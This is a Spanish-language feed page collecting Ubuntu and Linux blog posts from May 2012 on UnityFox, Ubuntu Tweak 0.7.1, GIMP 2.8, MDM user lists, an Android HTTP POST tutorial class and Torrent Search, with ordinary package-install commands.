May 16, 2012

Miguel Parada

Miguel Parada
Ubuntizando.com feed

UnityFox: Gestiona tus descargas con Firefox en Unity


Pequeño detalle sin importancia que me trae de cabeza. No es la primera vez que he cancelado una descarga accidentalmente. Me pongo a navegar y me olvido que estoy descargando ese documento importante y super importante que no puede esperar. Apago el ordenador y justo ahí es cuando me doy cuenta que a Unity le falta algo que nos indique el proceso restante para finalizar la descarga.

firefox download 300x252 UnityFox: Gestiona tus descargas con Firefox en UnityExiste una solución, se trata de un plugin para Firefox que resuelve el problema. Añade una barra de proceso y un contador con las descargas activas en curso. Algo como en la siguiente imagen.

Para instalar este plugin no tendremos que hacer mucho mas que abrir Firefox y entrar en la siguiente dirección: http://addons.mozilla.org/en-US/firefox/addon/unityfox/

Pulsamos en “Añadir a Firefox” y esperar unos segundos hasta que el navegador nos indica que debe ser reiniciado. Listo, no puede ser mas sencillo.

Lorenzo Carbonell

Lorenzo Carbonell
El atareao feed

Probando la nueva versión de Ubuntu Tweak 0.7.1

Introducción

Aunque, como ya he comentado en mas de una ocasión, cada vez soy menos partidario de modificar Ubuntu, incluso diría que cada vez tengo menos necesidad de hacerlo, Ubuntu Tweak, aporta características que no solo nos permiten personalizar Ubuntu, sino que además nos ayudan a tener nuestra instalación lo mas limpia posible.

Esta nueva versión de Ubuntu Tweak 0.7.1, soporta la nueva versión de Ubuntu Precise Pangolin, y otras nuevas características que veremos mas adelante.

Ubuntu Tweak

Ubuntu Tweak 0.7.1

Lo primero que me ha sorprendido de esta nueva versión de Ubuntu Tweak es lo que tarda en iniciarse, supongo que será porque está recopilando información, pero realmente llega hasta ser incómodo.

Nuevas características

Entre las nuevas características cabe destacar las siguientes:

  • Se ha recuperado el Centro de aplicaciones, el Centro de orígenes de software, las plantillas y los scripts, que se habían eliminado en versiones anteriores.
  • El Centro de orígenes de software está sincronizado con PPA Purge y el Centro de aplicaciones con la vista “Aplicaciones instaladas”. Esta es una característica muy interesante, porque te permite desinstalar varias aplicaciones de forma simultánea, cosa que en el Centro de Software de Ubuntu se hace realmente complicado.
  • Se ha mejorado el gestor de limpieza del caché de aplicaciones. Sinceramente, como los discos duros tienen esa capacidad tan exagerada hoy en día, y cada 6 meses hago una instalación nueva, cada vez me preocupa menos tener el sistema limpio, pero no cabe duda, que es una buena medida para que el sistema funcione de una forma más optimizada.
  • Busqueda global. En la nueva versión de Ubuntu Tweak, hay un caja de texto arriba a la derecha, que te permite introducir palabras clave que te permitirán localizar con mayor rapidez y comodidad la característica que buscas o necesitas.
  • Esta nueva versión lleva integrado un editor de QuickLists para el lanzador Unity
  • Configuración del Login para 12.04
  • Mejor y mayor configuración de Unity

La caja de búsqueda

Una vez te has acostumbrado a trabajar con Ubuntu Tweak, sabes donde se encuentran las distintas opciones para configurar las características de Ubuntu, pero aún así, hay veces que te pierdes, no sabes exactamente donde te encuentras o como llegar a una determinada opción. Sin lugar a dudas, la caja de búsqueda te ayudará a configurar tu equipo, puesto que se hace mucho mas sencillo localizar una determinada característica.

Ubuntu Tweak

Instalar temas

En esta versión puedes instalar nuevos temas (eso si solo de iconos) directamente. Para ello tienes que dirigirte a Ajustes > Apariencia > Temas:

Ubuntu Tweak

Configuración de Unity

Se han incluido nuevas características para conseguir una mayor personalización de Unity:

  • Puedes activar/desactivar HUD
  • Puedes activar/desactivar la ayuda de atajos de teclado
  • Puedes mostrar el icono de “Mostrar escritorio” en el lanzador. Esta característica la probé el otro día, y me apareció en la parte superior del lanzador, lo cual es realmente incómodo, pero hoy, aparece al final de todos los lanzadores, que entiendo que es su posición lógica.
  • Puedes modificar el tamaño de los iconos del lanzador
  • Te permite configurar el modo de ocultación del lanzador.
  • Te permite definir la retroiluminación de los iconos del lanzador. Esto me ha llamado la atención, porque te permite definir diferentes comportamientos de los iconos del lanzador, en función de si la aplicación está abierta o cerrada, pudiendo seleccionar que tenga retroiluminación, luz de borde, dependiendo de lo que elijas.
  • Puedes elegir si se muestran los dispositivos en el lanzador, con diferentes alternativas, o mostrarlos siempre, o no mostrarlos o mostrarlos solo cuando están montados.
  • Puedes definir el tamaño del Dash o Tablero, con tres opciones, automático, netbook o escritorio. Diferenciándose las opciones netbook y escritorio, en que en el primero de los casos, ocupa la totalidad de la pantalla.
  • Puedes definir el tipo de difuminado del tablero.
  • Te permite modificar la opacidad del panel.
  • O cambiar la opacidad del panel en función de que las ventanas estén maximizadas o no.

Ubuntu Tweak

Área de trabajo

En esta sección puedes definir el comportamiento que tendrá Compiz cuando el ratón se acerque a cada una de las esquinas de tu pantalla, siempre y cuando hayas definido la acción a realizar. Por ejemplo, en el caso que he indicado a continuación, cuando el ratón se coloque en la esquina superior izquierda se mostraran todos los espacios de trabajo, mientras que cuando se situé en la esquina superior derecha, se mostrarán todas las aplicaciones que estén en funcionamiento. Puedes además definir el tiempo que tiene que transcurrir para que suceda esta acción, en el ejemplo de la imagen inferior es 0, con lo que en cuanto coloque el ratón en esas esquinas se activará la opción, y además puedes definir el número de áreas de trabajo tanto verticales como horizontales, que en el ejemplo son 2×2, que es lo que viene definido por defecto, y con lo que estoy acostumbrado a trabajar.

Ubuntu Tweak

Configuración de inicio de sesión

Si bien en la nueva versióń de Ubuntu, Precise Pangolin, el fondo que aparece en el inicio de sesión es el mismo que el que tiene el usuario de fondo de pantalla, todavía quedan algunas opciones por configurar, como es el tema de iconos, si se dibuja la trama de puntos, si se reproduce sonido en el inicio de sesión.

Ubuntu Tweak

En cuanto a que el fondo, en el inicio de sesión sea el mismo que tu fondo de pantalla, esto es algo relativo. Me refiero a que si tu defines el fondo de pantalla, pero no de los que vienen por defecto con Ubuntu, esto no funciona. El fondo de pantalla tiene que estar en el directorio “/usr/share/backgrounds” para que el comportamiento sea el indicado, y creo recordar que además tiene que estar en formato jpg, de lo contrario tampoco funciona correctamente.

Vista aplicaciones instaladas

Desde el menú Administración > Centro de aplicaciones, puedes acceder a una vista de aplicaciones instaladas, que es realmente cómodo para desinstalar varias aplicaciones.

Ubuntu Tweak

Vista repositorios activos

Al igual que sucede con la vista de aplicaciones instaladas, también existe lo mismo para los repositorios, para lo que puedes acceder desde el menú Administración > Centro de orígenes de software, con lo que puedes eliminar fácilmente repositorios con PPA Purge.

Ubuntu Tweak

Quicklists

Con esta herramienta puedes modificar los Quicklists estáticos de cada aplicación, por ejemplo, si eres un asiduo lector de “El atareao”, puedes añadir un enlace directo, para poder abrir directamente esta página desde el lanzador.

Ubuntu Tweak

Quien dice esto, puedes hacer cualquier acceso, facilitándote considerablemente tu trabajo.

Limpieza del cache de aplicaciones

Otra de las características añadidas es la limpieza del caché de aplicaciones, lo que te permite tener el sistema mas optimizado.

Ubuntu Tweak

Conclusiones

Estas son algunas de las nuevas características añadidas en la última versión de Ubuntu Tweak, donde como puedes ver tienes muchas opciones para configurar, mejorar y limpiar Ubuntu. Hay que tener cuidado a la hora de “trastear” con Ubuntu Tweak, porque te puedes llevar la desagradable sorpresa de que en lugar de mejorarlo desinstales algo y te dejes tu Ubuntu hecho unos zorros, pero esto te puede pasar de cualquier forma, no solo con Ubuntu Tweak. Pero tampoco hay que preocuparse, siempre tienes la opción de reinstalar el sistema y a correr.

Más información | Ubuntu Tweak
Vía | WebUpd8

Artículos relacionados...

  1. Nueva versión de VLC, 2.0, el reproductor por definición
  2. Una nueva versión de SunFlower
  3. Proximamente, nueva versión de Comfusion
Francisco Luque

Francisco Luque
LMDE Cosillas feed

Lista de Usuarios en MDM


No tenía mucho en mis manos para escribir, pero ahora tengo algo. Les traigo un método para poder visualizar los usuarios en MDM.

Primero, vayan a Sistema -> Ventana de Entrada. Asegúrense que en la pestaña Local, el estilo sea Con Temas y Visor de Rostros. Luego de eso, tienen que editar el tema seleccionado (que seguramente estará en /usr/share/mdm/themes). En el .xml respectivo, busquen donde aparezca el tag  <item type="rect"> (es el tag de la entrada) y antes del tag, peguen este código

<item type="list" id="userlist">
     <pos x="150" y="200" height="100" width="250"/>
     <color iconcolor="#ffffff" labelcolor="#ffffff"/>
</item>

Reinicien mdm y listo.

Cliente de blogueo QTM

Con estas siglas se presenta un nuevo cliente para tener actualizadas nuestras entradas en los blogs que tenemos en propiedad. QTM está disponible de manera gratuita en su página web para múltiples sistemas operativos. Lo esencial de este programa es que nos ayuda a crear de forma sencilla nuevos artículos para su posterior publicación, no sólo en materia de procesador de textos, sino que es
Raúl González Duque

Raúl González Duque
Mundo Geek » Linux feed

Ey, Hollywood, ¡dejadme descargar Ubuntu!

Ubuntu, iMac, Bittorrent, Star Trek, neutralidad en la red… esta nota de OMG Ubuntu lo tiene todo, excepto gatitos. Resulta que Wil Wheaton, actor al que muchos conoceréis de Stark Trek: La Nueva Generación o de The Big Bang Theory, entre otros, es todo un defensor de la neutralidad en la red. A continuación tenéis parte de los comentarios del actor traducidos al español.

Wil Wheaton en The Big Bang Theory

Una de las cosas que me molestan es que en Hollywood la gente piensa que bittorrent existe con el único propósito de robar cosas. Los esfuerzos por explicar que esto no tiene por qué ser necesariamente cierto son recibidos habitualmente tapándose las orejas mientras gritan “¡No te escucho la la la la la!”

Ayer decidí descargar Ubuntu e instalarlo en mi iMac usando Virtualbox, sólo para ver cómo le va a la distro estos días. (…) Si hubiera descargado la ISO del servidor, me habría llevado casi 1 hora, así que decidí usar el torrent en su lugar. Resulta que fue una buena decisión, porque había terminado en unos 6 minutos.

Estaba tan contento con la velocidad y el rendimiento, que lo dejé compartiendo hasta tener un ratio de 3,0. (…)

Algunos proveedores de Internet están bloqueando todo el tráfico de bittorrent, porque bittorrent se puede utilizar también para piratear. (…) Personalmente, creo que es esto es como cerrar las carreteras porque un ladrón de bancos podría utilizarlas para escapar después de un robo.

Miguel Parada

Miguel Parada
Ubuntizando.com feed

Curso Ubuntu 12.04 LTS Cap.2.1 (Modificar GRUB )


Hoy vamos a modificar el arranque del sistema GRUB. Para seleccionar la linea de arranque que queremos que se ejecute cuando inicie GRUB. Ejemplo: Modificar GRUB de la linea 0 – Ubuntu a la 4 – Windows.

Se admiten todas las sugerencias que queráis aportar. Desde dudas, consultas y problemas ha correcciones, criticas y colaboraciones.

Puedes seguirme en:

http://www.ubuntu-es.org/blog/245734

http://www.youtube.com/victor31416

Miguel Parada

Miguel Parada
Ubuntizando.com feed

Habría versión de Ubuntu 12.10 con GNOME Shell por defecto


ubuntu gnome shell Habría versión de Ubuntu 12.10 con GNOME Shell por defecto

En el Ubuntu Developer Summit se discutió sobre los diferentes entornos de escritorio que hay disponible dentro del mundo Linux. Este tipo de discusiones tomo mucha más importancia desde que Canonical decidió que Unity sea la interfaz por defecto para la versión de GNOME utilizada en Ubuntu. Unity logro polarizar al grupo de usuarios de Ubuntu, una parte apoya la decisión de Canonical, la otra no se cansa de criticar Unity y busca alternativas a Ubuntu donde se utilice un diferente entorno por defecto, o que se le de el poder al usuario de decidir que tipo de entorno usar.

Los desarrolladores presentes en este congreso ubuntero llegaron a la conclusión de que hay existe una hay una demanda de un diferente entorno de escritorio por parte de los usuarios y se pusieron como objetivo que la próxima versión de Ubuntu, la 12.10, llegue acompañada por una distribución derivada “sabor GNOME”.

Esta distribución derivada de Ubuntu con el entorno oficial de GNOME instalado por defecto incluiría un set de aplicaciones diferente al Ubuntu tradicional, por ejemplo, es posible que veamos a Firefox reemplazado por Epiphany, a Thunderbird reemplazado por Evolution o a la suite ofimática de LibreOffice ser reemplazada por Abiword y Gnumeric.

Esta nueva distribución se sumaría a la familia Ubuntu, ya compuesto por Kubuntu, Xubuntu y Lubuntu. El Ubuntu original seguirá con Unity, que tendrá prioridad en cualquier tipo de desarrollo sobre esta nueva distribución que todavía no tiene nombre, según comunicaron los programadores.

¿Qué te parece la idea de Ubuntu con GNOME Shell por defecto? Comparte tu respuesta a continuación.

Vía UsemosLinux.

Ramón Miranda

Ramón Miranda
Ramon Miranda feed

Charla sobre Imagen Digital en la Universidad de Zaragoza.

Han pasado solo unos días desde la LGM 2012 y ya estoy preparando de nuevo la maleta (esta vez bastante más pequeña)

EL día 17 de mayo estaré dando una charla sobre Pintura Digital invitado por Pulsar, la asociación de software libre de la universidad Zaragoza y Osluz, la oficina de software libre de la universidad de Zaragoza.

Iván José Dasilva Freire me comentó si era posible que se diera una charla similar a la que di en San Sebastian en la SLUN11, y tras un buen trabajo por su parte y la directiva de la universidad, será posible y además con noticias muy interesantes tras haber estado recientemente en la Libre Graphics Meeting 2012 celebrada en Austria hace unos días.

Así que si te gusta la pintura, la imagen digital ,el software libre  y el ambiente relajado pero dinámico de este tipo de eventos, espero verte allí.

Jueves 17 Mayo a las 18:00 en el Anfiteatro A, edificio Torres Quevedo.

Saludos


Cómo enviar datos a un servidor en Android (I)

Buenas, hace un tiempo hicimos una serie dedicada a descargar información de un servidor y parsear esa info con un lector de JSON. Esta vez vamos a dedicar unas semanas a hacer lo contrario, crear unos formularios en nuestra aplicación Android y enviarla a un servidor para que la guarde o la trate como queramos.



Básicamente serán tres pasos, primero crearemos una clase genérica en Android que nos permita enviar información a un servidor y obtener una respuesta. Luego crearemos en un servidor con Apache, PHP y MySQL un servicio que recoja una serie de datos y devuelva una respuesta y por último, volveremos a nuestra aplicación Android para crear un formulario y enviar los datos.

Empecemos. Para ello vamos a crear en nuestra aplicación Android una clase llamada HttpClientManager. Como dije antes, se dedicará a hacer una llamada a un servidor enviando datos, esperará por la respuesta y nos devolverá el resultado. Este será el aspecto que va a tener.


public class HttpClientManager {

private Activity activity;
private ArrayList<NameValuePair> nameValuePairs;
private String responseBody = "";

private ProgressDialog m_ProgressDialog = null;
private Runnable viewOrders;

private String UrlService = "";

private String strMessageHeadLoading = "Por favor espera";
public String getStrMessageHeadLoading(){ return strMessageHeadLoading; }
public void setStrMessageHeadLoading(String message){ strMessageHeadLoading = message; }

private String strMessageBodyLoading = "Enviando información...";
public String getStrMessageBodyLoading(){ return strMessageBodyLoading; }
public void setStrMessageBodyLoading(String message){ strMessageBodyLoading = message; }

private String getUrlService(){ return UrlService;}
private void setUrlService(String UrlService){this.UrlService = UrlService;}

public String getResponseBody(){return responseBody;}
private void setResponseBody(String ResponseBody){responseBody = ResponseBody;}

public HttpClientManager(Activity activity){
this.activity = activity;
nameValuePairs = new ArrayList<NameValuePair>();
}

private boolean isInternetAllowed(Activity activity){
ConnectivityManager cm = (ConnectivityManager) activity.getSystemService(Context.CONNECTIVITY_SERVICE);
NetworkInfo ni = cm.getActiveNetworkInfo();
if (ni!=null && ni.isAvailable() && ni.isConnected()) {
return true;
} else {
return false;
}
}

public void addNameValue(String name, String value){
nameValuePairs.add(new BasicNameValuePair(name,value));
}

public void executeHttpPost(String UrlService){
setUrlService(UrlService);

viewOrders = new Runnable(){
public void run() {
try {
executeHttpPostAsync(activity, getUrlService());
} catch (Exception e) {}
}
};
Thread thread = new Thread(null, viewOrders, "Background");
thread.start();
m_ProgressDialog = ProgressDialog.show(activity, getStrMessageHeadLoading(), getStrMessageBodyLoading(), true);

}

private void executeHttpPostAsync(Activity activity, String UrlService){
if(isInternetAllowed(activity)){
try{
HttpClient httpclient = new DefaultHttpClient();
HttpPost httppost = new HttpPost(UrlService);
httppost.setEntity(new UrlEncodedFormEntity(nameValuePairs));

ResponseHandler<String> responseHandler = new BasicResponseHandler();
setResponseBody(httpclient.execute(httppost, responseHandler));

activity.runOnUiThread(returnRes);
}catch(HttpResponseException hre){
ListenerExecuteHttpPostAsync.onErrorHttpPostAsyncListener("Se ha producido un error al conectar con el servidor");
}catch(Exception e){
ListenerExecuteHttpPostAsync.onErrorHttpPostAsyncListener("Se ha producido un error");
}
} else{
ListenerExecuteHttpPostAsync.onErrorHttpPostAsyncListener("No es posible realizar la conexión. Comprueba tu conexión de datos.");
}
}

private Runnable returnRes = new Runnable() {
public void run() {
m_ProgressDialog.dismiss();
ListenerExecuteHttpPostAsync.onExecuteHttpPostAsyncListener(getResponseBody());
}
};

public interface OnExecuteHttpPostAsyncListener{
void onExecuteHttpPostAsyncListener(String ResponseBody);
void onErrorHttpPostAsyncListener(String message);
}

private OnExecuteHttpPostAsyncListener ListenerExecuteHttpPostAsync;

public void setOnExecuteHttpPostAsyncListener(OnExecuteHttpPostAsyncListener l){ListenerExecuteHttpPostAsync = l;}

}


Vamos a ver en detalle que es lo que hace esta clase. En la primera parte se definen variables privadas, algunas son el mensaje que se va a mostrar mientras esperamos que está predefinido, pero que se puede cambiar setStrMessageBodyLoading.

El constructor va a asignar a nuestra variable activity su valor e inicializa nameValuePairs. Este va a tener su importancia, pues aquí van a ir cada uno de los parámetros que enviaremos al servidor en un array de key-value.

El método isIntenetAllowed es muy importante, ya que si antes de intentar la conexión, verificará si nuestra conexión está lista y disponible. Tenéis que tener presente en todo momento que este es un proceso que no solo va a depender de vuestras aplicación, sino de muchos otros factores ajenos a ella y cualquier comprobación es poca.

El siguiente método addNameValue, simplemente irá añadiendo pares de clave-valor a nuestra variable nameValuesPairs. Los que ya tengáis experiencia en web, sabréis que al enviar un formulario, ya sea a través de POST o GET, podéis enviar parámetros, por ejemplo un email. Sería tan simple como definir en vuestro html un input con su propiedad name seteada a "email" y el usuario escribiría su email. Al hacer click en el botón de enviar, el navegador interpreta el formulario y el input y envía en una variable llamada email el valor del usuario. nameValuesPairs es algo muy parecido.

Esto está explicado de forma un poco informal, pero quiero que se entienda que es la forma de enviar a un servidor los parámetros que queramos desde nuestra aplicación Android.

El método publico que nos interesa viene ahora, executeHttpPost, y recibe como único parámetro la url que invocaremos. Este método en realidad es muy sencillo. Se encarga de abrir la pantalla de loading y lanza en segundo plano la llamada al servidor. Dado que este es un proceso asíncrono, debemos hacerlo así.

El método que realmente hace la petición al servidor es executeHttpPostAsync. Primero de todo va a verificar la conexión. Luego definimos un objeto HttpClient que se va a encargar de realizar la conexión con el servidor. El objeto HttpPost va a ser el que se encargue de enviar por POST los parámetros. Y ResponseHandler va a recoger el resultado y devolvérnoslo ya parseado en forma de String. Nosotros setearemos la variable responseBody.

Si os fijáis, el proceso es bastante sencillo, pero nosotros vamos a añadir un listener con diferentes llamadas en función de la rama por donde vaya el código.

Nuestro listener tiene dos métodos, uno cuando la conexión finaliza correctamente y ya tenemos lista la respuesta: onExecuteHttpPostAsyncListener, aquí enviamos la respuesta para que la clase que nos invoque decida que hacer con esta respuesta, onErrorHttpPostAsynListener nos indicará que se ha producido un error y nos devuelve un texto orientativo, se podría enviar la excepción, pero si esto se va a mostrar a un usuario lo veo innecesario.

Hasta aquí por esta semana. La semana que viene haremos la parte del servidor. Explicaremos como aceptar y tratar los datos que nos envían desde la aplicación y daremos una respuesta para que en la tercera semana de esta serie enviemos con esta clase una petición y la recojamos y tratemos.

May 15, 2012

Lorenzo Carbonell

Lorenzo Carbonell
El atareao feed

Probando las nuevas características de Gimp 2.8

Introducción

Hace muchos años ya, que Gimp forma parte de mi equipaje ofimático. Desde luego, que ya no recuerdo cual fue la última versión de Photoshop que utilicé, y es por esto, que no puedo dar una opinión válida y contrastada sobre Photoshop, o que ventajas tiene uno sobre otro, o que características tiene el uno que el otro no. Como decía, hace tiempo que utilizo solo Gimp, aunque, últimamente, me ha dado mas por Inkscape, por aquello de poder hacer las imágenes vectoriales, si bien es cierto, que estamos hablando de dos aplicaciones completamente distintas.

Al enterarme de la noticia de la liberación de la versión 2.8 de Gimp, me llevé una agradable sorpresa, por una parte, porque hacía tanto tiempo que se hablaba de la inminente liberación, que había perdido la esperanza, y por otra por la expectación que me creó, en busca de las nuevas características de esta nueva versión. Sin embargo, no se porqué, yo esperaba un cambio radical, y no lo fue tanto, aunque sin embargo, tengo que reconocer que todos los cambios fueron de mi agrado.

Gimp

Gimp 2.8

Instalación en Ubuntu 12.04 Precise Pangolin

Lo primero, vamos a instalar la nueva versión 2.8, junto con GIMP Plugin Registry For GIMP 2.8, que es una excelente colección de cientos de complementos para Gimp, que incluyen GIMP FX Foundry (una gran colección de scripts para GIMP), Liquid-Rescale, Safe For Web, Separate+, Elsamuko (que incluye efectos tales como “Obama Hope”, “Movie 300″, bordes de foto antigua y mucho mas), Filtros templado y frío y muchos otros. Dado que no se encuentra en el repositorio de Ubuntu, es necesario añadir el repositorio y actualizar:

[bash]
sudo add-apt-repository ppa:otto-kesselgulasch/gimp && sudo apt-get update
[/bash]

El siguiente paso es instalar tanto GIMP como GIMP Plugin Registry. Lo puedes hacer a través del Centro de Software de Ubuntu haciendo clic en los siguientes enlaces:

Instalar GIMP

Instalar GIMP Plugin Registry

o bien desde el terminal:

[bash]
sudo apt-get install gimp gimp-plugin-registry
[/bash]

Probando las nuevas características de GIMP 2.8

Modo de ventana única

Al iniciar por primera vez Gimp 2.8, después de su instalación me llevó un buen rato encontrar como poner el modo de ventana única (todo por no buscar el último manual). Lo puedes hacer desde el menú Ventana > Modo de ventana única. La disposición tanto de los diálogos empotrables como de la caja de herramientas, es función de donde se encuentren cuando activas el modo de ventana única. Es decir, si tienes la caja de herramientas a la izquierda de la ventana principal, y los diálogos empotrables a la derecha, cuando actives el modo de ventana única quedarán así:

Gimp

Si por el contrario, tienes la caja de herramientas a la derecha y los diálogos empotrables a la izquierda te quedará como ésto:

Gimp

Si los tienes los dos en el mismo lado, pues te quedarán en el mismo lado. Este último tiene el inconveniente principal de que en el caso de querer separar la caja de herramientas de los diálogos empotrables, tendrás que cerrar previamente todos los diálogos empotrables, o por lo menos yo no he encontrado otra forma de hacerlo.

De cualquier manera, el modo de ventana única es muy cómodo para trabajar en Ubuntu con el menú global, por que de lo contrario, cuando estás sobre los diálogos empotrables o en la caja de herramientas, el menú global no aparece, lo que despista mucho.

Multicolumna para los diálogos empotrables

Otra de las posibilidades que se ha añadido es que los diálogos empotrables puedan estar en varias columnas, tanto en el modo de ventana único como en el modo de ventana de toda la vida. Para hacer esto, solo tienes que arrastrar la pestaña (donde aparece el icono y/o nombre del diálogo empotrable) hasta el borde del otro diálogo empotrable, y habrás creado una nueva columna, que estará disponible tanto en el modo normal:

Gimp

como en el de ventana única:

Gimp

Desde luego, es cómodo sobre todo para aquellos diálogos empotrables que utilizas mas a menudo, sin embargo, el problema es el espacio que ocupa, aquí ya dependerá del tamaño de pantalla que tengas y de la resolución de tu monitor. De cualquier forma es realmente sencillo pasar de varias columnas a una única, con tan solo arrastrar la pestaña al borde del diálogo o al lado de la otra pestaña.

Guardar y Exportar

Se ha establecido una diferenciación clara entre ambos conceptos, guardar y exportar. Guardar solo se hace con el formato nativo de GIMP “XCF”, y para hacerlo en otro formato, “PNG”, “JPG”, o el que sea, tendrás que exportar el archivo. Desde luego que para mi, esto representaba en versiones anteriores un punto de confusión, así está mucho más claro.

Las capas agrupables

Desde luego que en su día, para mi, ya representó un salto cualitativo el trabajo con capas, añadir ahora la agrupación de capas es toda una revolución, en el sentido de que actualmente no se para que. Evidentemente, que dentro de unos meses que haya estado trabajando de forma habitual con GIMP, no podré comprender como había podido subsistir sin esta característica. Esta nueva característica permite agrupar las capas en estructuras tipo árbol.

Gimp

Para añadir un grupo de capas, tienes que hacer clic con el botón secundario del ratón en el diálogo empotrable “Capas”, y seleccionar la opción “Grupo de capas nuevo…”. Puedes añadir tantos grupos de capas como quieras.

Gimp

Migración a Cairo

Todas las herramientas de renderizado han sido implementadas con Cairo para proporcionar gráficos mas suavizados y darle a GIMP un aspecto mas moderno. Además las herramientas utilizan un indicador de progreso que se muestra directamente en la propia imagen.

Gimp

Edición de texto directa

Esta sin lugar a dudas, junto con el modo de ventana única, es la herramienta que mas me ha gustado (junto con el modo de ventana única, claro). Realmente así tienes una idea clara como queda, es realmente cómodo y sencillo de manejar, vamos, que no se como podía hacerlo antes.

Gimp

Operaciones matemáticas (sencillas) en las entradas

En mas de una ocasión he tenido que hacerme con la calculadora del sistema para poder ver cuanto tenía que redimensionar una capa, o que tamaño tenía que tener una letra. Ahora, GIMP te permite introducir directamente la operación en la entrada, y el se encarga de calcularla. Una comodidad mas.

Gimp

Mejora en la gestión de pinceles, patrones y degradados

Para mejorar la gestión de pinceles, patrones y degradados, estos pueden ser etiquetados utilizando palabras para describir un determinado recurso.

Gimp

Una vez etiquetado el recurso en cuestión, puedes filtrar los recursos utilizando las etiquetas definidas. Con un poco de trabajo inicial, puedes conseguir un gran ahorro en un futuro.

Gimp

Rotación de pinceles

Ahora puedes girar los pinceles:

Gimp

Conclusiones

Estas son algunas de las nuevas características que trae Gimp 2.8, hay muchas mas, como la captura de páginas web, la exportación a archivos PDF mejorada y mas, pero estas son las que mas me han llamado la atención. He estado probando la de PDF, y no hacía exactamente lo que pensaba, por esto no he hecho mas referencia.

Lo malo de hacerse expectativas sobre un lanzamiento, sobre todo su es tan esperado como este, es que siempre son mayores de lo que uno finalmente encuentra. Pero, repasando todas las características introducidas, hay mucho y muy mejorado. Eso si, tendremos que esperarnos a versiones futuras para poder ver un interfaz mas renovado. Y es que pese a que es mi editor de imágenes por defecto, no puedo negar que la interfaz gráfica se ha quedado algo obsoleta. Bueno, tiempo al tiempo, por ahora, a disfrutar de todas las nuevas características que nos ha traído esta nueva versión

Más información | GIMP, GimpUsers.com, WebUpd8

Artículos relacionados...

  1. Gimp 2.7.4 en Ubuntu en modo ventana única
  2. Crear un logo de cristal con Gimp en Ubuntu
  3. Plugins para Gimp desde repositorio
Pedro L. Lucas

Pedro L. Lucas
Cartas de Linux feed

AnotherTerminal: un terminal diferente

Suelo trabajar mucho con el terminal. A los terminales les suelo encontrar muchas carencias, por lo que me he puesto a eliminar dichas carencias y he escrito mi propio terminal. Tiene la capacidad de cambiar los menús del terminal según la aplicación que se esté ejecutando en dicho instante.

Para empezar un vídeo mostrando su funcionamiento:

Básicamente los menús insertan cadenas cadenas de texto cuando son ejecutados:

Para crear los menús he diseñado una aplicación que hace la mayoría del trabajo:

Tenéis más información en la página del proyecto: http://anotherterminal.forja.rediris.es/

Se puede descargar desde: https://forja.rediris.es/projects/anotherterminal/

Para usarlo requiere Gnome3, aunque con el tiempo iré rebajando las exigencias.

Todavía es un una versión alfa, por lo que sed benevolentes con este terminal.


Pedro L. Lucas

Pedro L. Lucas
Cartas de Linux feed

Multiseat-wizard-bicefalo para Ubuntu 12.04

Se acaba de liberar Multiseat-wizard-bicefalo para Ubuntu 12.04. Lo podéis encontrar en:

http://code.google.com/p/multiseat-wizard-bicefalo/

Multiseat-wizard-bicefalo es una aplicación que permite conectar a un ordenador varios teclados, ratones y pantallas y hacer que cada monitor se comporte como un puesto de trabajo independiente. Así varias personas pueden usar el mismo ordenador a la vez. Para que os hagáis una idea, os dejo un vídeo de cómo quedaría un equipo en multipuesto (multiseat):

http://www.youtube.com/watch?v=aop39a6ob7s&feature=related

La ventaja del asistente Multiseat-wizard-bicefalo es que no hay que tener grades conocimientos de informática para montar un multipuesto. Sólo se necesita un ordenador con una tarjeta de vídeo con dos salidas (los ordenadores nuevos suelen tener una tarjeta de este tipo). Conectar los monitores, teclados y ratones y dejar que el asistente haga su trabajo.

Se puede encontrar más información en la wiki del proyecto:

http://code.google.com/p/multiseat-wizard-bicefalo/w/list


Gestiona tus fotografías con OpenPhoto

Seguro que muchos de vosotros usáis servicios como Flickr, Picasa o Instagram entre otros. Lo cierto es que son servicios bastante completos, pero todos ellos tienen ciertas limitantes que sólo podemos solventar pagando., es por ello que usar una alternativa Open Source puede ser una buena idea. Como OpenPhoto, un servicio web realmente interesante y conel que tendremos un pleno control

May 14, 2012

Francisco Luque

Francisco Luque
LMDE Cosillas feed

Torrent Search el compañero perfecto...

...de cualquier gestor Torrent.
Hubo un tiempo que parecía que la compartición de archivos torrent tendía a su desaparición. La culpa de todo esto lo tenían las descargas directas y en mayor medida el gigante ya desaparecido de Megaupload. Tras la desaparición de éste, la compartición de archivos p2p a aumentado nuevamente de forma considerable.
Torrent Search viene a dar una estupenda solución para todos aquellos que estamos cansados de visitar cientos de páginas buscando X archivo torrent, tragándonos en esta búsqueda una ingente cantidad de porquería (entre otras cosas) en publicidad.

Si utilizas un gestor Torrent sin motor de búsqueda, Torrent Search te vendrá de perlas y si tu gestor torrent ya tiene su propio buscador éste también te será de gran utilidad llegando al punto incluso de dejar de utilizar el integrado ya que Torrent Search tiene gran cantidad de plugins (web torrent) y soporta cualquier gestor p2p.


Puedes decir que hacer con los torrents descargados. Guardarlos o que directamente los añada a la cola de descarga de tu gestor p2p favorito, lo tengas en ese momento abierto o no, da igual.


Torrent Search es muy rápido con unos resultados muy buenos.
Torrent Search soporta filtros, así que podrás realizar la búsqueda de la forma más precisa acotando los resultados. También suministra información más detallada (cuando la  hay) sobre los archivos torrent a descargar.

 Información General...


Archivos que contiene...


Comentarios...

En definitiva Torrent Search es unos de los buscadores más potentes, completos y livianos que no deberás dejar pasar si como yo eres usuario p2p.


Para finalizar diré que hay un pequeño problema para mostrar el idioma local en Torrent Search. Viendo la fuente observo que el paquete del idioma Español a parte de ser incompleto no se encuentra correctamente codificado. Acabando la traducción y añadiendo la codificación del idioma correcto veo que Torrent Search sigue sin adquirir el idioma local. Así que me pondré en contacto con su desarrollador para informarle al respecto y para darle la traducción ya terminada completamente.

Aun así, si quieres tener Torrent Search en Español o Catalán, tienes una forma muy fácil de hacerlo.
Descárgate este archivo que te dejo aquí:  
torrent-search_Español y Catalán
y lo introduces en la siguiente ruta:
/usr/share/locale/en/LC_MESSAGES/
Remplazando el ya existente.
Para instalar Torrent Search puedes descargarte el paquete DEB correspondiente desde la Web oficial o si lo prefieres, puedes añadirlo en los repositorios de tu sistema para estar siempre actualizado:
 #Torrent-search
deb http://ppa.launchpad.net/gwendal-lebihan-dev/torrent-search-ppa/ubuntu oneiric main
deb-src http://ppa.launchpad.net/gwendal-lebihan-dev/torrent-search-ppa/ubuntu oneiric main


Utiliza el PubKey del blog para descargarte la llave correspondiente.


Web de Torrent Search
Lorenzo Carbonell

Lorenzo Carbonell
El atareao feed

